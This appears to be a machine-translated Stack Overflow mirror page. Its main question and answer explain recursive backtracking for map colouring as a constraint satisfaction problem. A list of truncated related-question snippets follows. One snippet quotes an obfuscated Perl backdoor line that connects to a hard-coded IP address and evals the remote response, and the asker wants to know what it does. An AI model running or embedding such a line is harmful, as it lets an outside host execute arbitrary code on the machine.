- iOS/Objective-C 元类和类别
- objective-c - -1001 错误,当 NSURLSession 通过 httpproxy 和/etc/hosts
- java - 使用网络类获取 url 地址
- ios - 推送通知中不播放声音
我正在尝试针对给定算法的约束满足问题实现此递归回溯函数:
function BACKTRACKING-SEARCH(csp) returns solution/failure
return RECURSIVE-BACKTRACKING({},csp)
function RECURSIVE-BACKTRACKING(assignment,csp) returns soln/failure
if assignment is complete then return assignment
var <- SELECT-UNASSIGNED-VARIABLE(VARIABLES[csp],assignment,csp)
for each value in ORDER-DOMAIN-VALUES(var,assignment,csp) do
if value is consistent with assignment given CONSTRAINT[csp] then
add {var = value} to assignment
result <- RECURSIVE-BACKTRACKING(assignment, csp)
if result != failure then return result
remove {var = value} from assignment
return failure
BACKTRACKING-SEARCH(csp) 中 csp 的输入是一个 csp 类,其中包含 a) 状态列表,b) 颜色列表,以及 c) 以状态为键且值为的有序字典不能具有相同颜色的状态的邻居列表。
问题是我很难理解该算法是如何正确工作的。如果有人能给我这个算法的正确解释,我将不胜感激。我的一些具体问题是:
if assignment is complete then return assignment
我假设由于赋值是作为空字典 {} 输入的,这将返回解决方案,即包含状态及其颜色的字典。但是,我不明白如何检查作业是否完成?会不会像根据状态数检查字典的大小?
var <- SELECT-UNASSIGNED-VARIABLE(VARIABLES[csp],assignment,csp)
输入的 csp 类包含一个状态列表,我假设这可能只是 var 等于从列表中弹出一个值?我想,让我感到困惑的是,在我输入的情况下,我不确定参数(VARIABLES[csp]、assignment、csp)在做什么。
for each value in ORDER-DOMAIN-VALUES(var,assignment,csp) do
再次,对 (var, assignment, csp) 的输入到底在做什么感到困惑。但我假设它会遍历状态字典中的每个值(邻居)?
if value is consistent with assignment given CONSTRAINT[csp] then
add {var = value} to assignment
result <- RECURSIVE-BACKTRACKING(assignment, csp)
if result != failure then return result
remove {var = value} from assignment
如何正确检查值是否与给定约束 [csp] 的赋值一致?我假设约束应该是我尚未实现的 csp 类的一部分?我不明白这个 if 语句在检查方面做了什么。如果有人能清楚地解释这个 if 语句和 if 语句的主体,那将是非常有用的。
最佳答案
因此,在重新整理了一些大学文献(Peter Norvig 的人工智能:一种现代方法)之后,事实证明您手上的问题是递归的应用 Backtracking作为寻找 Graph Coloring Problem 的解决方案的一种方式,也称为 map 着色(考虑到它的历史是为了解决绘制 map 所需的最小化颜色的问题)。将 map 中的每个国家替换为节点及其边界将为您提供一个图表,我们可以在其中应用递归回溯来找到解决方案。
递归回溯将作为深度优先树搜索下降图节点,检查每个节点是否可以使用颜色。如果不是,则尝试下一种颜色,如果是,则尝试下一个未访问的相邻节点。如果对于给定节点,没有颜色满足条件,它将后退(回溯)并移动到兄弟节点(如果该节点没有兄弟节点,则移动到父节点的兄弟节点)。
所以,
I assume that since assignment is inputted as an empty dictionary {}, that this will return the solution, that is, the dictionary that contains states and their colors ... Would it be something like checking the size of the dictionary against the number of states?
是的,是的。一旦字典包含具有颜色的图形的所有节点,您就会有一个解决方案。
The input csp class contains a list of states, I assume this could just be var equal to popping off a value in the list?
该伪代码语法令人困惑,但总的想法是您将有办法找出图形中尚未着色的节点。一种简单的方法是从字典中返回一个没有赋值的节点。因此,如果我正确理解语法,var
将存储一个节点。VARIABLES[csp]
在我看来像是 CSP 结构中节点列表的表示。
I'm not sure what the parameters (VARIABLES[csp], assignment, csp) are doing, given my input
如上所述,赋值参数是包含到目前为止评估的节点(以及 future 的解决方案)的字典,csp 是包含 a,b 和 c 的结构。
Again, confused on what the inputs of (var, assignment, csp) are doing exactly. But I assume that it'll go through each value (neighbor) in dictionary of the state?
ORDER-DOMAIN-VALUES 似乎是一个函数,它将在您的 CSP 结构中返回有序的颜色集。 FOR 循环将遍历每种颜色,以便测试它们以满足该级别的问题。
if value is consistent with assignment given CONSTRAINT[csp] then
在这里,您正在做的是使用该值测试约束,以确保它是真实的。在这种情况下,您要检查与该节点相邻的任何节点是否已经不具有该颜色。如果相邻节点具有该颜色,则跳过 IF 并迭代 for 循环以尝试下一种颜色。
如果没有相邻节点具有该颜色,则进入 IF 主体并将具有颜色 value
的节点 var
添加到 assignment
字典中(我相信 {var = value} 是一个元组表示,我会写成 {var,value},但是哦,好吧)。然后再调用函数recursive backtracking,递归。如果递归调用返回非失败,则返回其结果(这意味着已经找到解决方案)。
如果它返回一个失败(意思是,它尝试了所有的颜色并且所有这些颜色恰好被另一个相邻节点使用),那么从分配
(解决方案) 阵列并移动到下一个颜色。如果所有颜色都用完了,返回失败。
关于algorithm - 理解约束满足问题 : map coloring algorithm,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52682417/
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!